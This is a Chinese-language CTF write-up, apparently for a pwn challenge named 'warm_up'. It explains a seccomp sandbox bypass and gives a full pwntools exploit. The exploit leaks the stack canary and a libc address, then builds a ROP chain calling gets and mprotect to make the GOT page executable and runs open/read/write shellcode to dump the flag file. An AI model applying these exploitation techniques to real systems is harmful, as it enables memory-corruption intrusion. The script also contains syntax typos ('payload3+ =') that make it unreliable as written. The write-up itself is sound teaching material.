检查下保护

屏幕截图 2023-06-24 100709

使用了seccomp系统调用,也就是说开了沙箱,seccomp-tools看看禁用了什么

屏幕截图 2023-06-24 101358

禁用了execve系统调用,system系统调用实际上会调用execve,所以通过system(‘/bin/sh’)来getshell是不可能的,所以我们换个思路,通过orw,即open一个文件(实际上打开的是一个文件描述符),将文件的内容read到内存中,再将文件内容write到标准输出(stdout)

看看溢出函数

屏幕截图 2023-06-24 103437

gdb调试偏移,填充24个字节后就是canary,canary最低位为\x00,所以用任意字符将\x00覆盖掉,通过printf即可泄露出canary

1
2
3
4
payload1=b'a'*24
p.sendline(payload1)
p.recvuntil(b'a'*24)
canary=u64(p.recv(8))-0xa

继续调试,canary之后填充8个字节就是返回地址。但是我们要想orw得到flag,必须先写入orw的机器码,aslr会随机化栈的地址。所以我们选择存放在bss段got表

作用位置 归属 作用时间
ASLR 1:栈基地址(stack)、共享库(.so\libraries)、mmap 基地址
2:在1基础上,增加随机化堆基地址(chunk)
系统功能 作用于程序(ELF)装入内存运行时
PIE 代码段( .text )、初始化数据段( .data )、未初始化数据段( .bss ) 编译器功能 作用于程序(ELF)编译过程中

Nx enabled保护开启,堆栈不可执行,数据段不可执行,代码段不可写

Globle offset table全局偏移量表,位于数据段

可以看到,got表与bss段都没有可执行权限,所以需要mprotect函数修改权限为0x7,只有got表的地址是一个内存页4k(0x1000)的整数倍,所以修改got表权限

1
2
3
4
5
6
mprotect_offset=libc.symbols['mprotect']
gets=libc.symbols['gets']+libcbase
mprotect_true=libcbase+mprotect_offset
payload2=b'a'*24+p64(canary)+b'a'*8
payload2+=p64(rdi_ret)+p64(save)+p64(gets)
payload2+=p64(rdi_ret)+p64(save)+p64(rsi_r15_ret)+p64(0x1000)+p64(0)+p64(rdx_ret)+p64(0x7)+p64(0)+p64(mprotect_true)+p64(save) #写完机器码后跳转到相应的内存区域

mprotect有三个参数,如果ROPgadget找不到pop rdx;ret,我们可以在libc中找到这个指令,值得注意的是,libc中找到的指令不一定有可执行权限,但pop rdx;ret指令也不是只有一个,要多试试

ROPgadget –binary /lib/x86_64-linux-gnu/libc.so.6 –only ‘pop|ret’ | grep rdx

屏幕截图 2023-06-24 112730

1
2
3
4
5
payload3 = shellcraft.open('flag')
payload3+ = shellcraft.read(0x3, save_to, 0x40)
#文件描述符fd:是文件描述符0\1\2\3,代表标准的输入输出和出错,其他打开的文件
payload3+ = shellcraft.write(0x1, save_to, 0x40)
#文件描述符fd:是文件描述符0\1\2\3,代表标准的输入输出和出错,其他打开的文件

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p=process('./warm_up')
#p=remote('139.129.76.65',50007)
elf=ELF('./warm_up')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_main_got=elf.got['__libc_start_main']
printf_plt=elf.plt['printf']
rdi_ret=0x400bc3
rsi_r15_ret=0x400bc1
start=0x400910
save=0x601000
save_to=0x601080
p.recv()
payload1=b'a'*24
p.sendline(payload1)
p.recvuntil(b'a'*24)
canary=u64(p.recv(8))-0xa
print(hex(canary))
p.recvuntil(b' ?')
payload2=b'a'*24+p64(canary)+b'a'*8+p64(rdi_ret)+p64(0x400BEF)+p64(rsi_r15_ret)
payload2+=p64(libc_main_got)+p64(0)+p64(printf_plt)+p64(start)
p.sendline(payload2)
true=u64(p.recvuntil(b' ?',drop=True).ljust(8,b'\x00'))
offset=libc.symbols['__libc_start_main']
libcbase=true-offset
print(hex(libcbase))
mprotect_offset=libc.symbols['mprotect']
gets=libc.symbols['gets']+libcbase
mprotect_true=libcbase+mprotect_offset
rdx_ret=libcbase+0x000000000011f497
p.recv()
payload1=b'a'*24
p.sendline(payload1)
p.recvuntil(b' ?')
#canary=u64(p.recv(8))-0xa
#print(hex(canary))
payload2=b'a'*24+p64(canary)+b'a'*8
payload2+=p64(rdi_ret)+p64(save)+p64(gets)
payload2+=p64(rdi_ret)+p64(save)+p64(rsi_r15_ret)+p64(0x1000)+p64(0)+p64(rdx_ret)+p64(0x7)+p64(0)+p64(mprotect_true)+p64(save)
#gdb.attach(p)
#pause()
p.sendline(payload2)
payload3 = shellcraft.open('flag')
payload3+ = shellcraft.read(0x3, save_to, 0x40)
payload3+ = shellcraft.write(0x1, save_to, 0x40)
p.sendline(asm(payload3))
p.recv()
#print(p.recv())
p.interactive()